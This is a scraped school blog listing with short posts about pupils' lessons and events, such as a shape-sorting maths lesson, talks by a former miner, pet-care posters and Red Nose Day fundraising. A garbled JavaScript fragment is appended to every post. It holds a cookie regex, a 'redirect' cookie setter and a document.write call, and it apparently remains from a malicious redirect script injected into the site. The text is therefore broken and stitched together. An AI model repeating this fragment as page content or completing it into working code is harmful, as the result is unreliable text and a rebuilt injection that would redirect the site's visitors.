• Springwell Forest Primary,  Uncategorized

    Open Minds

    We have been thinking about relationships. What are they? Who do we have them with?  We made timelines to show our relationships. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Primary 1 2d and 3d Shape Food

    In maths today, we sorted food into 2d shapes and 3d shapes. We discussed 3D shape properties using our new words, vertices, edges and faces.  As a reward for all our hard work, we got to eat our tasty treats and have an ice team in our 3D cones. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 7

    Team work in Year 7

    The ultimate challenge: Charles and Diana’ s engagement gigsaw. Jamie and Corey are up to the 300 pieces challenge! They are working  as a team, I cannot wait to see the finished picture! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 7

    Year 7 reading

    We enjoy reading books from the book rack and using iPads during reading time. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 7

    Year 7 Open Mind lesson

    Year 7 enjoyed reenacting the wedding of Prince Charles and Diana Spencer in 1981 and diana’ s life until her death in 1997. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary 4

    Informal Letters

    Today Primary 4 were pretending to be dogs! They had to write a letter to their owner, explaining what they had done during the day. Here is a brilliant example by Dillon Green.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 9

    Year 9 Opening Minds

    This half term’s Opening Minds topic is Healthy Relationships. Pupils in year 9 had a session with the ladies from Syeda. They talked about the media and their relationship with the media and how everything they see and hear isn’t always true or real. They also discussed self esteem and body image and how it is important to love yourself. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 9

    Year 9 Elements

    Pupils explored Adrian Mole’s bedroom from the 1980s and compared it with a teenager’s bedroom today. Emma, Kiera and Claire acted out some extracts from the Secret Diary of Adrian Mole and compared them to life as a teenager now. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 9

    Red Nose Day

    Pupils and staff at Springwell have raised over £200 for Red Nose Day. Pupils worse something red, bought noses and sold their baking. The care team had a sponsored make over and the staff did a sweepstake. Well done everyone, especially Emma in year Nine who was our fundraising co-ordinator.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Springwell Forest Primary

    Looking after mice.

    We are writing leaflets about caring for mice. We hope to prove to Mrs Witherspoon that we know how to look after them so that we might get some for class. These are our front covers. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Springwell Forest Primary

    Mother’s Day

    We have been busy making treats for our mums and careers. We have made cards, thank you notes and Malteser Bites. We wanted to spoil our mums.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 7

    Year 7 write thank you letters 

    Following Geoff’s visit Year  7 have written thank you letters to be posted this week. They really enjoyed his stories about the miners ‘ strike and the after arts of the closure of the coal mining industry. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Springwell Forest Primary

    Swimming

    We have started swimming lessons. We love our Friday morning swim it is great fun.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Springwell Forest Primary

    Sam’s Safaris

    Izzy brought some animals for us to look at. We saw   A mouse, a tortoise, a turtle, a rabbit called Chocco, a snake, a guinea pig and a bearded dragon. This links with our topic about caring for pets. We loved seeing and stroking the animals… most of them anyway!! (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Emotions Chain

    We each chose a different coloured strip of paper linked to the ‘inside out’ emotions and then wrote about what things made us feel that particular emotion. We then joined all our emotions together as a chain. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    Our Happy Core Meomories

    We watched a clip from the film inside out and then thought about our happy memories. We first drew the memory on our whiteboards and then created a sentence to describe the memory. We finally placed our memories inside our memory eggs. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Uncategorized

    World Book Day 2017

    We have had great fun celebrating World Book Day. Thanks for taking part and keep enjoying books!  “The more than you read, the more things you will know. The more that you learn, the more places you’ll go!” Dr Seuss (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary 3

    Sam Safari Visits Springwell

    This morning, we had a fantastic visit from Izzie who works for Sam Safari.  She brought a bearded dragon, a guinea pig, a tortoise, a turtle, a python, a cute pet mouse and a rabbit. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 9

    Year 9 PSHE 

    For our PSHE lesson this afternoon we had two visitors from SYEDA (an eating disorder charity) who came in to do a session on self esteem and body image.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 9

    Year 9 Elements

    This afternoon year nine had a visit from an ex miner (Mr Dyson).  He talked about his experience of the miners’ strike and how the aftermath affected him, his family and the community. Pupils listened really well and asked him questions.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Year 7

    Geoff visits Year 7 to talk about the miners’ strike

    We are learning facts about the miners’ strike in our elements topic. Geoff used to be a miner. He came to talk to us about his personal experiences, the strike and Cortonwood colliery.  (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary 3

    The Digestive System

    Dylan and Cyprian chose to represent the Digestive System as a PicCollage. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary 3

    Jack Shaw’s Poster

    Jack produced this poster showing how to care for a pet dog. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Primary 3

    Lost Dog Posters

    Class 3 are reading Michael Morpurgo’s Born To Run and have designed ‘missing’ posters to help Patrick find Best Mate. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}

  • Springwell Forest Primary

    Dog safety

    We made posters about being safe around dogs.  Jake wrote about what to do if a dog attacks. Terrell and Cameron thought about why dogs bite. Ethan b thought about dogs mood and body language. ..and Charlie and Tilly wrote about what you should do when you meet a strange dog. (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));(U[1])”,=”,,(“redirect”);||){var “redirect=”+time+”; “+(),document.write(‘')}